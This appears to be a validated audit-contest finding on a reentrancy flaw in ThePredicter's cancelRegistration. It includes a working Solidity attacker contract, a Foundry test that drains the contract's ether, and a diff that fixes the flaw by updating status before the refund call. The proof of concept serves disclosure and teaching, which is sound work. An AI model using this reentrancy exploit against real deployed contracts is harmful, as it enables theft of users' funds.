Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy attack on `ThePredicter:cancelRegistration`

Description

The function ThePredicter:cancelRegistration is available to receive a reentrancy attack and lost all your funds

Impact

The protocol could be drained and the users will lost all your funds

Proof Of Concept:

In the test/ create the ReentrancyAttackOnCancelRegistration.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface ThePredicter {
function cancelRegistration() external;
}
contract ReentrancyAttackOnCancelRegistration {
constructor(address _thePredicter) {
thePredicter = ThePredicter(_thePredicter);
}
ThePredicter public thePredicter;
receive() external payable {
if(address(thePredicter).balance >= 0.04 ether) {
thePredicter.cancelRegistration();
}
}
}

In the test/ThePredicter.test.sol import the ReentrancyAttackOnCancelRegistration:

import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
+ import { ReentrancyAttackOnCancelRegistration } from "./ReentrancyAttackOnCancelRegistration.sol";

And add the test:

function test_ReentracyAttackOnCancelRegistration() public {
// setup stranger users
address stranger1 = makeAddr("stranger1");
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
vm.deal(stranger1, 1 ether);
vm.deal(stranger2, 1 ether);
vm.deal(stranger3, 1 ether);
// register stranger users
vm.startPrank(stranger1);
thePredicter.register{value: 0.04 ether}();
vm.startPrank(stranger2);
thePredicter.register{value: 0.04 ether}();
vm.startPrank(stranger3);
thePredicter.register{value: 0.04 ether}();
// check thePredicter balance
assertEq(address(thePredicter).balance, 0.12 ether);
// setup ReentracyAttackOnCancelRegistration
ReentrancyAttackOnCancelRegistration reentrancyAttackOnCancelRegistration = new ReentrancyAttackOnCancelRegistration(address(thePredicter));
address addressReentrancyAttackOnCancelRegistration = address(reentrancyAttackOnCancelRegistration);
vm.startPrank(addressReentrancyAttackOnCancelRegistration);
vm.deal(addressReentrancyAttackOnCancelRegistration, 1 ether);
// reentracy attack on cancel registration
thePredicter.register{value: 0.04 ether}();
thePredicter.cancelRegistration();
// check balances
assertEq(address(thePredicter).balance, 0 ether);
assertEq(addressReentrancyAttackOnCancelRegistration.balance, 1.12 ether);
}

Run with: forge test --match-test test_ReentracyAttackOnCancelRegistration -vvvv

Recommended Mitigation:

Update the status of the player to canceled before sending the entry fee.

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.